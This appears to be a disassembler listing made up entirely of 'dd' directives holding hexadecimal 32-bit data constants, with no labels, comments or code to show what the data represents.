		dd 2A820200h, 0A4C0589Ch, 7279027Bh, 5491DAF5h,	0BF459855h
		dd 25B3E6EEh, 11CD587Ch, 0FDD378C7h, 5F63B840h,	54EEEF4Bh
		dd 8CCD6E10h, 815BC00Bh, 6FBEE704h, 50BD6023h, 58C1BACh
		dd 0BFADB8Ch, 0DAD1C2A8h, 4C728789h, 0D43DB5h, 8687A832h
		dd 189D8F0Fh, 802835A2h, 24A26E9h, 0BB3630FEh, 0C6091495h
		dd 0D5EEDF42h, 0E067DB80h, 9297D509h, 0E8535D41h, 13CB170h
		dd 8C4B4752h, 50EEE72Dh, 271A193Dh, 42ED0F00h, 379D5BB4h
		dd 10D1282h, 1CAE23Dh, 0FDC48519h, 8A2EA880h, 5B685037h
		dd 77688997h, 8E4011CFh, 0A38FDECh, 9745CD2Ch, 0E4678040h
		dd 9220841Bh, 0CD578A00h, 5DF18ECEh, 0DBC059ADh, 0C4B50184h
		dd 5FDBC275h, 0ED49A35Eh, 0AD56E024h, 0B51283CBh, 0A2886479h
		dd 9FA50B27h, 78645AF2h, 80D4AC02h, 575FE6D9h, 1A91D0B5h
		dd 252CD083h, 0CAF063E8h, 0EB9AB095h, 153918A6h, 9D8BFA7Fh
		dd 0B212FD4Ah, 0D781A060h, 4BABE69Fh, 80E3C06Eh, 439A65E3h
		dd 5D8B0F24h, 6514Bh, 89407533h, 4E00C847h, 870A0B2Ch
		dd 9344558h, 5BFDE565h,	8B605E80h, 5A4C53D1h, 2434805Fh
		dd 32C7DBBFh, 11941A43h, 975C9FEAh, 89703769h, 0F25E32Ch
		dd 0D2A260h, 53A0A997h,	0A357A6Ah, 0ECD01A98h, 1DBD04BEh
		dd 6861001Bh, 3BC0AF45h, 8409BFD8h, 0A9785B31h,	5E54BA09h
		dd 0E5D18227h, 5AA95E29h, 0F6507AFBh, 3A9D0B84h, 690196B7h
		dd 351CB350h, 510420EFh, 7CCB164Bh, 17B8374Ch, 977008Ch
		dd 0D88A9F82h, 45915761h, 3FE4CB81h, 0E16011DEh, 5B1C40CDh
		dd 69CB5F4Bh, 3402CA4Ah, 0CFF91B45h, 0E94A62B8h, 9BB816FFh
		dd 7C548034h, 9A4EFCEh,	0C210EA88h, 1D70879h, 3C1812BFh
		dd 7EA9234Bh, 0A59C2D00h, 31CA7726h, 24843C8Fh,	0F5A9F282h
		dd 1FF0E34Fh, 9D5F0140h, 25D6775Eh, 15E5D409h, 0D5042B09h
		dd 0CEE5F34Dh, 0C0DC8502h, 0A5B2D0F8h, 55FA9A15h, 0C97957h
		dd 9263C781h, 6D95175Ah, 60196459h, 0B85467DAh,	0CD334B5Dh
		dd 0E76E3A38h, 867A6504h
		dd 16EEF830h, 0F7E3AB5h, 87DB170Eh, 18016E80h, 3A12B2BFh
		dd 54F31FF2h, 8019DB5Ah, 95F7D04Bh, 68C04CA8h, 901FD512h
		dd 0AEBB6621h, 4B912BE3h, 3DB8810Fh, 0CA07BF1Dh, 0DCBD0112h
		dd 46071846h, 4B4C47CDh, 1A97F4F0h, 7594C096h, 0F7959718h
		dd 9ACCF1C0h, 2671254Bh, 0F2688FEDh, 0A58BA6E0h, 8C8B977Bh
		dd 0CDD80E73h, 0B213120Fh, 0AC44E91Eh, 87008C1Ch, 8C29AA18h
		dd 1C767B8Bh, 0E4DB80DEh, 0F1F912ADh, 0F0043689h, 4A7E0AF0h
		dd 0E9F2ACh, 0DE717391h, 4BC9A193h, 0B6B0C54Eh,	30C8E038h
		dd 62D72580h, 18598FD3h, 0CE0E7E18h, 0F71BB639h, 821915B0h
		dd 448D2AC1h, 0E3895226h, 0FB6E4EEFh, 0B8765D00h, 0D952951h
		dd 25E5749Dh, 0EF4009EFh, 1AAC45Ch, 8947FF1Dh, 2F2555B5h
		dd 22F61674h, 1D399D0Bh, 71BEBBEEh, 0E1B50F0Bh,	0E522D85Fh
		dd 5E068711h, 5E159FC2h, 1A46DE46h, 6DD56B07h, 0BC1E722Fh
		dd 0FD51D160h, 0EA6E2C25h, 3AF35FCCh, 32023678h, 0F8CA0888h
		dd 1D51E85Eh, 89519611h, 0D1505FEFh, 48A70031h,	868D2E1Fh
		dd 0D30A417Ch, 939612D2h, 80212BBFh, 0D9F3F512h, 1CF2461h
		dd 29AD0589h, 990952F8h, 5F9D0BCFh, 0DB5C31E2h,	4D640167h
		dd 0DAB87FD4h, 802145A2h, 742F46DFh, 2B6ABEB2h,	0B5673109h
		dd 0BCFABC84h, 13E911ACh, 737B7603h, 0C7F8C543h, 0A44B6EDCh
		dd 0B81774BBh, 6AFAF4B6h, 0A542003Bh, 53946ECCh, 1610071Eh
		dd 1FE9EB80h, 12FFF2C7h, 0FB77880Fh, 4FA28061h,	3D731DD6h
		dd 0CF2CFA74h, 6F002429h, 2D585FBAh, 0C18B251Bh, 0C709153h
		dd 4FF7E14h, 0C06B5ED7h, 4BABBD78h, 7C6FABh, 0CBD6C508h
		dd 5E78152h, 6BB54097h,	1CFF290h, 11271CA8h, 0D72164EDh
		dd 28692AC2h, 0D1845FDh, 0B0B3D0D7h, 1FA5339h, 4D5F5564h
		dd 982BE515h, 8101907Ah, 9D53EDCBh, 0E1CC2311h,	6065A020h
		dd 64414CB0h, 0B2018D16h, 8531046Ah, 5DB425DDh,	0EBB73FC1h
		dd 389D299Fh, 0C43FEF4Eh, 80001B23h, 13BD1810h,	39CD3D78h
		dd 0EB79BB02h, 58D03F4Dh, 2CE16FADh, 3CA625B9h,	4100DEA6h
		dd 2F4857DFh, 4B69D2E8h, 4801E37Ch, 0E5990B6Fh,	844B42A8h
		dd 0A2BDF157h, 80EFDAD3h, 3BB3CCD8h, 139E3C76h,	0E9E26F92h
		dd 8C19AC62h, 99FA3100h, 0F2C75A7h, 0A3C19FB7h,	269E3965h
		dd 0EB0472D1h, 88BC4CE5h, 3D5584A2h, 0A603h, 76BCF434h
		dd 6009026Ah, 205D852Bh, 70ECBB29h, 614D1598h, 9B5EF850h
		dd 62228EF2h, 0FCADE0EBh, 36BD0419h, 1C6BBA1Ch,	5C031B23h
		dd 0E8E79384h, 122987D1h, 0F382E9F9h, 0B7CB8462h, 12830F05h
		dd 0FB01233h, 7891815Fh, 0DB25DFEAh, 935FEE15h,	0F4EF5827h
		dd 0C6F10909h, 2517950h, 938DBB66h, 0FF25335Eh,	5080F83Dh
		dd 53937064h, 0D8D304EFh, 94A59D2Bh, 933DB91Dh,	742E5AA1h
		dd 0B96B3Fh, 89A91EAAh,	0F5976F6Eh, 0B380D268h,	17227A79h
		dd 45C40D01h, 0DA5571F8h, 0BDB07CCh, 0B9B50360h, 0CB1FF6C4h
		dd 63245F61h, 52150211h, 0F600295Eh, 6D881DDDh,	5600A724h
		dd 530C9B36h, 12EE39D6h, 5275958Bh, 4EDCBC86h, 3F896EAFh
		dd 127BB56h, 20D9D2B8h,	27703011h, 0DE245E49h, 0B08284AFh
		dd 0A51087F8h, 9D984B01h, 860F8829h, 4ED30356h,	252E98B0h
		dd 0DCC6B067h, 3A7FF101h, 70E60A11h, 4580A30h, 0E425EFDEh
		dd 0C961AF71h, 0BFA50D85h, 17F194C9h, 93BDB764h, 0BC7FD684h
		dd 0E3E64F8Eh, 2CA3E00h, 7CD6BC54h, 6BFB7002h, 0C2E1362Ch
		dd 0FC7F63DBh, 95FD8A47h, 23F3E8h, 879237ADh, 79A6890h
		dd 34913AFFh, 0E7A6B2D1h, 0F035AB5Eh, 0AA8A5B1Bh, 11A45EDFh
		dd 89C90007h, 0FA65234Eh, 0CF90F875h, 7BA3BF19h, 0A4D522BDh
		dd 2F00883Dh, 53EB7AA8h, 0B48B87h, 0B64A10A2h, 6BD5F1F6h
		dd 0D24E7617h, 9391CD12h, 0C02FC380h, 896007C9h, 31AD9516h
		dd 409904B4h, 22D3612Ch, 0F680C200h, 5BB531C1h,	0B9D5D409h
		dd 0E11729A1h, 9EF2DF92h, 81B24Fh, 1AB004CDh, 360EA78h
		dd 8B75A2E3h, 34BFF8Dh,	881CA088h, 78258B7h, 4196FE11h
		dd 0B06183A8h, 972E5DBDh, 0C7209E94h, 16BB0234h, 6A3C90A4h
		dd 0FEDEB856h, 0A951249h, 4A94F761h, 0D303166Ah, 0B96156E8h
		dd 5B7710C2h, 0F3D78B1h, 4BE0034Dh, 0A6EFA584h,	0E8C5B782h
		dd 82DBED01h, 6C39FC61h, 0CF869B9h, 96C02B6Dh, 9D2EAFEh
		dd 2765BD0Bh, 5CFAAC5Eh, 5300D4BEh, 27EEB391h, 2C4E7183h
		dd 92D8CDBh, 42006B0Fh,	53A5BFFEh, 0E4024925h, 60639C76h
		dd 517824BFh, 59604525h, 12FDA5F8h, 40A25484h, 0AC72869Ch
		dd 20BB1E00h, 6C841723h, 88D54BE1h, 0D601402Ch,	2F53D318h
		dd 97CCFD8Dh, 0C5670201h, 1607866Bh, 7D5CD462h,	252BD869h
		dd 7CE51A53h, 2FFB7469h, 4F002EB7h, 0F7B62DB5h,	0F0232A2Bh
		dd 7A149792h, 7AEF634Bh, 0AA070214h, 60CF4C7Eh,	970C4DC1h
		dd 76078B2h, 0EEB50E91h, 418CD21Eh, 0FFE04BC6h,	336E3AE1h
		dd 0C27EC807h, 5D7A21B5h, 7E282F28h, 405EB26h, 0AF29B54Dh
		dd 0F72E3C38h, 0E5C0835Eh, 0DDA9AA98h, 45909497h, 9C083FCBh
		dd 9B601206h, 0DFF4809Dh, 0B944E60h, 0D9850973h, 9D5C2742h
		dd 5C28C225h, 727B2564h, 1EFC770h, 14127BA7h, 252E50D5h
		dd 85482EEDh, 67DF69B6h, 0FC1EE0DBh, 0DC16F62Bh, 4EE2538Fh
		dd 0FFF22200h, 0FB213702h, 0AE268A00h, 0ABBB60A5h, 4F501C41h
		dd 0E5535C5Bh, 0A18D96EEh, 57912F60h, 3264259Ah, 35977FEEh
		dd 5C8B0EBDh, 0BE9B6A2h, 0CF711220h, 112B005Dh,	6A935929h
		dd 0B77D903Ah, 0D6BB5003h, 0CC0C1478h, 0F8B935A9h, 125C850Fh
		dd 1E4AA05Dh, 483D00C9h, 0FD197215h, 305EF43h, 6AFB8B88h
		dd 0C6BD9EFDh, 9D86227Fh, 68BCC94Dh, 531B2370h,	3000E26Fh
		dd 0AE31BB95h, 0ED02703Eh, 5C7F438Dh, 0B780575Fh, 6F04F83Ch
		dd 1DCFB94h, 2D6759A5h,	2F8AE520h, 0F56D8529h, 48E409A8h
		dd 0F20AB09h, 5546D588h, 4B077520h, 608ECC5Bh, 0C1F49ABDh
		dd 0C52E114Ah, 0BB58C8B0h, 0B2839207h, 40B261AEh, 0F4A8D602h
		dd 0F2E6B309h, 0BC8778FBh, 0E4E0F6DAh, 0A971204h, 84C17D6Bh
		dd 810513E1h, 2B2A21A7h, 0C26BCFDDh, 70091D81h,	0F6ABBC29h
		dd 64014202h, 57F5AE53h, 1B91E2B5h, 0ADF43380h,	0AB12A2F1h
		dd 0ADB83832h, 0AED10334h, 0F4D7ED02h, 0CB5432FBh, 688806DCh
		dd 0E20FA3E2h, 0E2E5D725h, 0E0804D2Bh, 0E2E4E5Ah, 41A52325h
		dd 96012771h, 87C02EB3h, 798F773Fh, 6031AD49h, 0A0EA385Bh
		dd 5E8E0A24h, 7B2BC109h, 0BD018748h, 0F25E3B19h, 9CFBB70h
		dd 505231D1h, 0FEEAC180h, 0DBBC5842h, 615BF207h, 4F0F7D4Ch
		dd 2A23208Fh, 547FCCFEh, 0DF6989B6h, 0A4BD0360h, 597F6600h
		dd 0EC11C499h, 719309AEh, 1F129FFEh, 0CCAD02DDh, 53717508h
		dd 0B76B7925h, 159FBE04h, 48623D84h, 655E191Ah,	0AA320055h
		dd 11A0377Bh, 90F8F0C2h, 2E9AD550h, 5B618B03h, 0E0E4A6E5h
		dd 24E7A5Dh, 4293718Eh,	0AD6002EAh, 0CDB72749h,	601AE40Fh
		dd 0B2F574Ch, 389E0DA1h, 61DADF00h, 0CC27B351h,	26465Bh
		dd 84301028h, 0BE4B4927h, 4002DA7Dh, 0A9850B86h, 85E2911h
		dd 0D42D547Ah, 0B21CE51Fh, 0F78B8689h, 8D29BC48h, 712BFD25h
		dd 92DC7CDh, 0F43DDCh, 18521FDCh, 0E95FE58Fh, 11F2160h
		dd 950AF58Dh, 0B77CBBE7h, 3141C66Dh, 202BB9A5h,	0C42C4192h
		dd 0CCCF7A05h, 0B5A9F918h, 0B10083B8h, 90FEC8D7h, 51071AF9h
		dd 0CF31E9FAh, 85112C6Ah
		dd 53041F25h, 59B1D07Ch, 44168B2Ch, 0C7F31102h,	225E78F0h
		dd 0F1FA1935h, 23522242h, 2E73DF8Dh, 2EAAFAC1h,	2B9D302Ah
		dd 34A559Dh, 204AEFF7h,	7EE667F3h, 0F2915003h, 886B980Ch
		dd 9439FBCh, 0EBB9FA51h, 3D9F0878h, 0C50D9FA2h,	90560384h
		dd 5F6F2D60h, 23AB9897h, 90855EBDh, 5096DEA4h, 3BBB90BFh
		dd 0AB31012Eh, 0B139639Bh, 38F6878Dh, 5E341FC2h, 8CB2EAh
		dd 0AACAD6A2h, 366CE3h,	0E5AF4421h, 0C70BA7BFh,	0C9B25F4Bh
		dd 0C2EA8201h, 0CB2E1EE9h, 96FA61EBh, 0DCF05Eh,	0DF2BF3B5h
		dd 0BB66F511h, 968A9B4Eh, 3E516A5Eh, 66BC8009h,	913BE487h
		dd 813701CBh, 5AA7B4F3h, 0E1342F7Ch, 4E9851E8h,	2200E3E0h
		dd 2DE624A6h, 24B97E9h,	5DF7FBCh, 83613119h, 0B25B020Ah
		dd 106976F0h, 0DA8A1215h, 6A4BDFF7h, 179101D5h,	0B4559372h
		dd 822AF9F9h, 7109290Dh, 96CDA5E9h, 0DEB363CFh,	115616BDh
		dd 0F2EFF62Fh, 71653114h, 0A7292124h, 81925944h, 0EB61D3BFh
		dd 0F1132F01h, 2BE0EFA6h, 0D49D0913h, 0AB0B932Eh, 0EEB82AD4h
		dd 6133B14Eh, 6E0AF5FFh, 9A5A66CBh, 0C7CA8FCEh,	0E10898Ah
		dd 254DD244h, 0B7948C0Fh, 0EF7983Fh, 76D876BDh,	352E4D8Dh
		dd 0D5B930E2h, 0C5003246h, 2708D48h, 0EEF4D072h, 0FBDC09A2h
		dd 0D378C8B7h, 0D7F7F54Ah, 1A46DE25h, 7650FCA1h, 9BB3EBCh
		dd 7821B133h, 276790A8h, 9A7D1A85h, 9422F7EDh, 3192B99Ah
		dd 2C172046h, 87B865E6h, 7773EFB0h, 0E65BF525h,	0F781029Ch
		dd 2C82DD98h, 3851805Eh, 0C02A9E6Bh, 0D4FBFFDh,	219D3833h
		dd 82F68841h, 45FA709h,	0F213D86Fh, 1DA4EC7h, 60C116C8h
		dd 352F9979h, 766EEEB8h, 9D629300h, 58BD2778h, 8E997B5Bh
		dd 822BF1E8h, 0BDE0257h, 125E9399h, 0F708E122h,	3EDB4AC9h
		dd 0A587DD82h, 2151E15Eh, 0DF5EF812h, 0AAF969h,	29C7C2D0h
		dd 0D3028167h, 788268B1h, 24CF5E5Bh, 95D2791h, 0E9BD714Ch
		dd 1A40D0CDh, 1E03379h,	0FE8B9965h, 0C4C991BBh,	844BE96Ah
		dd 0E7EEBEC4h, 0D6F6020Ah, 5EF8C18Bh, 79026989h, 90001AD9h
		dd 3B50F98Ah, 6A2792B7h, 0A87869DBh, 0AA5E3134h, 0DCE57C76h
		dd 0BD788B2Fh, 6BB65E9Dh, 0F989AC35h, 69FB8087h, 18712079h
		dd 0D38A136Dh, 0EB4FC850h, 1FE942C5h, 95810F12h, 21F2E6h
		dd 0BA61ADA4h, 24EC1351h, 7661C083h, 0A32E1446h, 165508B2h
		dd 34E91025h, 0B80907EDh, 0B0C1AE4Ah, 1D6C4072h, 50567ECh
		dd 50A476D1h, 821654F8h, 2F1E91Eh, 1254C781h, 767662E2h
		dd 3A13DE71h, 0CCFA2970h, 0A4BF9DD6h, 0F6FF6A5Bh, 0DFBBE1CCh
		dd 8BD9CC6Eh, 0A0CDFA4Bh, 2418E042h, 0EA253h, 0B4F84249h
		dd 2FAC39h, 0B2FFE26Ch,	208FAD52h, 5FFCB712h, 32B499F6h
		dd 7AC09D4Fh, 725D780h,	8A02435Bh, 0DC03F6D1h, 898D8301h
		dd 0AE9BC86Ah, 8786306Fh, 0D2F80BDAh, 0D6D7092Dh, 0B46800D7h
		dd 0B05777A9h, 0C32D80F4h, 6424D94Ch, 38885247h, 19371B0h
		dd 6E242E04h, 6B026A1Ch, 8E56896Eh, 0DF47A04Bh,	0AC756F8h
		dd 74AB5BDEh, 120453CCh, 0D88E9DAh, 5AB18FBCh, 34BF00C8h
		dd 329025F4h, 8BB380EEh, 4E314C58h, 0F49F52B5h,	0BF126621h
		dd 80F68408h, 0A9EB8009h, 601A5A7Bh, 57A0C2D2h,	1B919B35h
		dd 0FA384B80h, 6E0526CAh, 0FF6A518Eh, 0C9C2209Bh, 4AC09A19h
		dd 0B5880369h, 0DE6AE995h, 1488010h, 4B114632h,	0D913D8FEh
		dd 9B029D3h, 7AB0812Ah,	10B7392h, 0C5BD2960h, 8AF5522Eh
		dd 4D6487F6h, 0D46B06E5h, 0C99C8102h, 0F322F21h, 68D92FA5h
		dd 0B64B800Ah, 0AEF780C8h, 6EE69FBAh, 8C2A6558h, 0D2918AC1h
		dd 89FB9FFh, 6919C5BDh,	5215E340h, 9C82B06h, 95BD4185h
		dd 5666F984h, 4FAF20Bh,	29801C0h, 0D18102D8h, 1364D23Ah
		dd 71BC95Ch, 0C1B98406h, 56901022h, 2B5F27A1h, 426D61D8h
		dd 0A9D34A24h, 0D45DE323h, 1F6062AFh, 69DA0229h, 0CAC25CE3h
		dd 2007A6A5h, 9D290952h, 0C37128ADh, 0B450C42h,	0F9F20F0Eh
		dd 0D3B64EF0h, 48D9AAF0h, 2BA81102h, 7F048D9Dh,	0CB809FF1h
		dd 4E6BCDA2h, 0C29A046Dh, 0B89763B9h, 29FDD0DAh, 9D0CBD31h
		dd 2EB90D55h, 45C7103Dh, 0AC5ED415h, 546E4EACh,	6A31BF00h
		dd 7A279F80h, 8BF6C013h, 8FFC4F09h, 8AB2B2DCh, 62E38100h
		dd 0BA1D6FFAh, 15BF0BA0h, 63E24712h, 0ECD69CE3h, 0DA278034h
		dd 0EDCAABh, 0C3E5CB4Fh, 353B0884h, 835E7F00h, 6ADED69Eh
		dd 95031360h, 5F1BDDDh,	5B61C68Bh, 1488438Eh, 0B5254CBh
		dd 435E2005h, 71DA8BC2h, 5B518929h, 81817A71h, 6F9C69C3h
		dd 0CDC555E2h, 42196DE9h, 0AD803983h, 160E1885h, 2F78E1BFh
		dd 93CDE32Ah, 0E60884FFh, 0DD72E03Bh, 955403E1h, 9BFB40F7h
		dd 0F189F9DAh, 0F664D6h, 0C96F809Ah, 343A48DCh,	31F4A007h
		dd 73192195h, 92AA6A0h,	5F098963h, 0FF8C9274h, 4AA5F6E1h
		dd 0E2ACB801h, 76F37F91h, 6D2591A8h, 128CC725h,	125FE293h
		dd 2BC2BFDh, 8B104AE2h,	816001FBh, 530AD7E2h, 25A29C3Dh
		dd 7B1FDD27h, 7B811411h, 0A4A19D31h, 0F60954EBh, 957C7078h
		dd 430476B7h, 0E2FE79FEh, 5E71485Dh, 0C07ECAF5h, 47423D6Eh
		dd 8CA93D97h, 0C6E0AB95h, 0EED2B709h, 4DA672B0h, 0DB5AA79Eh
		dd 4E4F83DDh, 21B210C9h, 4F644C09h, 0DD8417FAh,	0B89A2E7Dh
		dd 82E01984h, 0B9ABF13Eh, 9DC1E756h, 0AB07211Dh, 5044FCD6h
		dd 0E8B244FAh, 41881338h, 0A57704B7h, 0AE63BCAFh, 0E2FFFE24h
		dd 99B71AEEh, 0E152CDACh, 3FC61C39h, 7682700h, 86D14CCh
		dd 880F5660h, 925E27B8h, 16D079h, 0D0A59EF0h, 26165CC1h
		dd 56326226h, 0F7C84113h, 0F81C00CBh, 707840FEh, 0FB0967C7h
		dd 5726C680h, 0CFF8F610h, 0ED6D0B2Dh, 61D2C038h, 0FE02AEF1h
		dd 0FD8AC03Eh, 608EB051h, 0A25F4A61h, 2CEA8A0h,	0F862546h
		dd 0F3771380h, 17440000h, 0A2C1DEAFh, 0A3735B00h, 0E71FD7EEh
		dd 0B6895A30h, 3016A2BCh, 1C12D69Ch, 7C537EE9h,	1860426Fh
		dd 0EFBC9BCFh, 56F6275Ah, 0DD301AB2h, 13987113h, 0E04353E7h
		dd 0B6126D8Ch, 89E361CFh, 0FB33BB02h, 885C3AECh, 0DE25FE4Bh
		dd 0BC001074h, 78506FD1h, 83430E0h, 2F3D9D0Bh, 0D5D86019h
		dd 9512DF72h, 61C349ADh, 0BB80A071h, 6724378Dh,	6FDA156h
		dd 0D81C0D2h, 35312733h, 0DBA0984Ch, 568204A1h,	8CD2463h
		dd 96132171h, 0B580E7A8h, 0B2E37094h, 8200CE7Dh, 0ADBB50C3h
		dd 48109109h, 9F721F96h, 0A1E4F7B8h, 0A4023472h, 53C924Ah
		dd 693C5CD8h, 0D47057F3h, 0EEF84ED1h, 60D8B860h, 0E48D4A0Bh
		dd 3003BBB8h, 611613C8h, 8803D368h, 12D3BFAEh, 0B82BD0C9h
		dd 1CDF387Fh, 366521Ch,	9DCFB160h, 0D6760003h, 431AFD46h
		dd 0B70BED62h, 7C39C23h, 5B77A535h, 0A0307119h,	8228E2A7h
		dd 588C8277h, 4757A6Eh,	8C1197CBh, 0BBDA9869h, 0AA18A004h
		dd 48BD614Ch, 87008AB8h, 64A174D8h, 91CC28F3h, 830780DFh
		dd 0BEA34391h, 521A6200h, 0D7734F85h, 0E396954Ah, 958AFC4Ah
		dd 9B4B564Ah, 38F5829Eh, 22EE174h, 0E9078115h, 0F97B6E56h
		dd 0E270AD00h, 3898B35Bh, 34C8815Eh, 95EE93h, 0F8BAFE12h
		dd 0BEF3327Ch, 4702EDE6h, 0CF85D22Ch, 75F15621h, 2DB002C9h
		dd 0FB6F5502h, 56730242h, 0DB051BEh, 5EA80269h,	7D8812B5h
		dd 0CC80E6F9h, 3767534Bh, 18E29F6Ch, 225B5749h,	446EC92Bh
		dd 12DF5E0Fh, 130A7E74h, 0BAB290E2h, 0E691DC02h, 3A572570h
		dd 61526D96h, 2AFAA5A8h
		dd 75ABF734h, 0A059A66Ch, 0EE7C7F0h, 50F88B96h,	0E307E693h
		dd 748F89A1h, 19889F5Bh, 48BBC6C1h, 903772D4h, 12A14A3Bh
		dd 495A379h, 3B9B529h, 0BB7670AEh, 0C5A16B6h, 7F48E9E6h
		dd 0B5DC7812h, 96DE2F56h, 6486B680h, 0AC01DA5Eh, 37CDBFC6h
		dd 742B78D1h, 916AAB58h, 71CDA005h, 4A92A810h, 9D094D80h
		dd 0C92A4AEDh, 0E06E2A2Ah, 635F0B00h, 0C8A9CF9Dh, 4441F095h
		dd 312D5108h, 4A73F285h, 6E52DD5Fh, 17D286Ah, 89F8D8CBh
		dd 2A28298Dh, 7E69B6F7h, 0FCDE96B1h, 0C69EDD95h, 0DE10D6A5h
		dd 353CA202h, 7D8977CAh, 0FE022C12h, 4C4C4EC6h,	0CB804A99h
		dd 265CF1DFh, 101A0358h, 765AA1D2h, 86FC72DAh, 2E1446D6h
		dd 51145A2h, 0F563BF01h, 50504E77h, 4791541h, 3DC8AC00h
		dd 5B6D49B1h, 91F212B4h, 391AB1BCh, 0B2B801h, 2167AD7Ah
		dd 0FACB3E8Bh, 0DE99B11h, 0CDA16F00h, 0C5AD80E8h, 0BFD47902h
		dd 0DCA0AC1Ch, 0B6191203h, 25C61DD0h, 59637B84h, 0B863AD64h
		dd 0DFF7169Ah, 819D308Dh, 0BE12C0C7h, 7FB93743h, 0C466BD2h
		dd 861BC754h, 2C9D27BDh, 7800D0DBh, 0DC67D2A6h,	0BD37058Eh
		dd 813B6628h, 0D057D12h, 3519632Bh, 2D9EBB84h, 267DAC80h
		dd 94E0E2DFh, 96FC1D04h, 0B8C5A7B3h, 23040FB3h,	0AF2C51BDh
		dd 56F93172h, 707EEBF9h, 0C7D300D4h, 0A9697910h, 0CA5BE0D2h
		dd 291722E7h, 92E6F814h, 233E6BAFh, 0CA53001Ch,	6DCBB785h
		dd 0CFFFD512h, 8788F2B2h, 0B513299Fh, 0C6F8E956h, 0B0C0DD8Eh
		dd 8CD0FA7Eh, 40FCF7E1h, 0FDDE7328h, 0FD1095A2h, 0A800D13Fh
		dd 5A47FB3Ch, 84391Ch, 0BB26119Eh, 7A4EEEE8h, 7B5F5B25h
		dd 59E8A306h, 0EA9F41CDh, 0D4E6C4BDh, 0FBC6FC25h, 13F6D0AEh
		dd 0D4284B1Fh, 0FB5F9304h, 0B6F458B8h, 3C6AA0A9h, 0E92F16BDh
		dd 49BDBC4Ch, 12E4BCEBh, 17732F19h, 0B75590AAh,	0C14F8BB2h
		dd 0D709896Eh, 0D71E0A9h, 88451400h, 25D96825h,	95C6F5BEh
		dd 1281663Ah, 5AA4C65Eh, 5975FE09h, 19A81A2Fh, 92FC038Ch
		dd 7BBD70EEh, 27DB6405h, 0B4E96AACh, 61090DBCh,	0D4801F1Ah
		dd 611510F3h, 0EBD7B6CAh, 9EFE852Bh, 6ECD808Dh,	40F2C82Bh
		dd 1740915Dh, 2560FE50h, 5874EF8Ah, 25F7CE4Ch, 0E574CE93h
		dd 0C1BB18F4h, 0D7813CF5h, 8BAC6F09h, 0A43B7158h, 2B453F1Bh
		dd 1B23236Bh, 4C90EB00h, 2C43CAD9h, 2DE7452h, 0D1FFAEC2h
		dd 8EB755h, 0B29091DEh,	1A12C7EDh, 0CE2FC05h, 0D85CA189h
		dd 0EB5900F6h, 6CEF46A8h, 25F6AFCh, 0B787E9DBh,	0FA34F11Ch
		dd 8096050h, 292418Ah, 50DA8B11h, 59D0BEFh, 542CA6B6h
		dd 0DE027C69h, 9C054495h, 294D403Ch, 8C00478Dh,	3B71A669h
		dd 0A284E6Ch, 0B84F44C1h, 974104CEh, 519C905Fh,	0A25E987h
		dd 9266C50Fh, 7A7F13C0h, 3E007024h, 6978EFD2h, 0B71FB27Ah
		dd 2BF21311h, 0E40188E6h, 8B7ED9A8h, 986B2EFBh,	1001923h
		dd 0F42AAAFBh, 0FFD1951Ah, 9410AC80h, 155F2Dh, 0C10BD93Fh
		dd 79D69345h, 18418712h, 4A9CABF8h, 40ACE952h, 3A32EDBFh
		dd 2AAFBCA0h, 76388701h, 0ED5926Dh, 20D5B22Fh, 0DB905BFAh
		dd 0CAE78014h, 1F565C01h, 0E5B5890Dh, 0F159A289h, 90B777ADh
		dd 0BA4ABC01h, 0A9F8BF6Ch, 9EB15C87h, 7B186110h, 0D62536FAh
		dd 161DEC5Bh, 5261B509h, 241EE3FDh, 19257160h, 8DE5C708h
		dd 0B8D22D78h, 0B6E4A25h, 495F3107h, 9074EB13h,	0B5830618h
		dd 9E1D5F15h, 57CF80ADh, 44E898B8h, 0B177DA0Ah,	82317438h
		dd 370CBF44h, 0C21E5E5Fh, 8209012Dh, 61A91A3h, 9097E6B0h
		dd 3E9AC34Bh, 358D1338h, 44B8FE19h, 9319B829h, 1CFEDACh
		dd 0AF2E6DE5h, 6510D759h, 64255EFEh, 0F38045F2h, 0C8B6AF06h
		dd 29752556h, 70C92974h, 74B82C0Bh, 181025ECh, 0A3035E1Fh
		dd 52109AEBh, 2E2FB8F3h, 0BBDB021Dh, 481E96D8h,	0DA37355Eh
		dd 35BC0754h, 958ABFC5h, 0D184305Dh, 330084FCh,	48D3DF9Dh
		dd 1EE5B6DBh, 0C4736BC0h, 81D18B42h, 1159D5Dh, 9C28FE9h
		dd 1F997D82h, 0E4FF8B04h, 0EB048138h, 48F0F538h, 0BC4A47BCh
		dd 85A0D668h, 1CD120BDh, 0F91222DCh, 0A81956F4h, 0C305B52Fh
		dd 0DFCB81C1h, 0B550E989h, 0F5A62C21h, 205F8D4Bh, 62126485h
		dd 5FF256D9h, 605C3222h, 2BC3C077h, 0E2135E8Fh,	0B58B1276h
		dd 61F2F045h, 146FB397h, 74958964h, 28DAFF41h, 919F09AEh
		dd 4908727Bh, 0AACC3555h, 9D6A85E0h, 63F1A498h,	2F1FCF01h
		dd 35496959h, 26C998C7h, 1AC816E3h, 0EDED04A0h,	0F2021213h
		dd 0D72961BBh, 1991CBB5h, 0B9CC1E80h, 0AE30A485h, 0D0465850h
		dd 70CBF45Bh, 40ED970Fh, 80B2E8E9h, 2BC16C0h, 5069A6C6h
		dd 0F1822A77h, 0D7D50709h, 105E07CCh, 50218AACh, 0FB18297h
		dd 9F31C48Eh, 0FC977EE7h, 6182439Bh, 4E42897Dh,	0D7D90C09h
		dd 1840DE03h, 2B53F80Dh, 0C14539FFh, 79111B80h,	0BB726838h
		dd 0F3FBF102h, 5FC02B4Dh, 0D100FE37h, 0A16AE8D7h, 9D857229h
		dd 93BBDC68h, 0D22BAD12h, 8C801AECh, 363211B2h,	0A1645F00h
		dd 21C370B4h, 0ECC7250Fh, 8D68A17Bh, 0F99E01D6h, 8B5BB3A8h
		dd 0B8A62DDFh, 58AC03F4h, 0CD0A29F0h, 4746CC2h,	9F5BD61h
		dd 0B231746Fh, 4C380E21h, 527D00C1h, 4903BEh, 0F675115Fh
		dd 0AE1FB36h, 0EABD354Eh, 3E27FDC4h, 0A072A64Ah, 459BBB3h
		dd 8B75ECD1h, 0A217E8F8h, 0D88CFB80h, 7A4BA610h, 0D7E984C7h
		dd 1B11D6B7h, 0CD59C09Dh, 0ABB1AF10h, 8D7829FCh, 139D2E4Eh
		dd 0FF2F043Bh, 0E0C4E6E1h, 43C6DD0h, 0BC30F84Eh, 0A229E812h
		dd 0F0D3291Dh, 26D23570h, 9F51514h, 0D4D9859Dh,	241C6908h
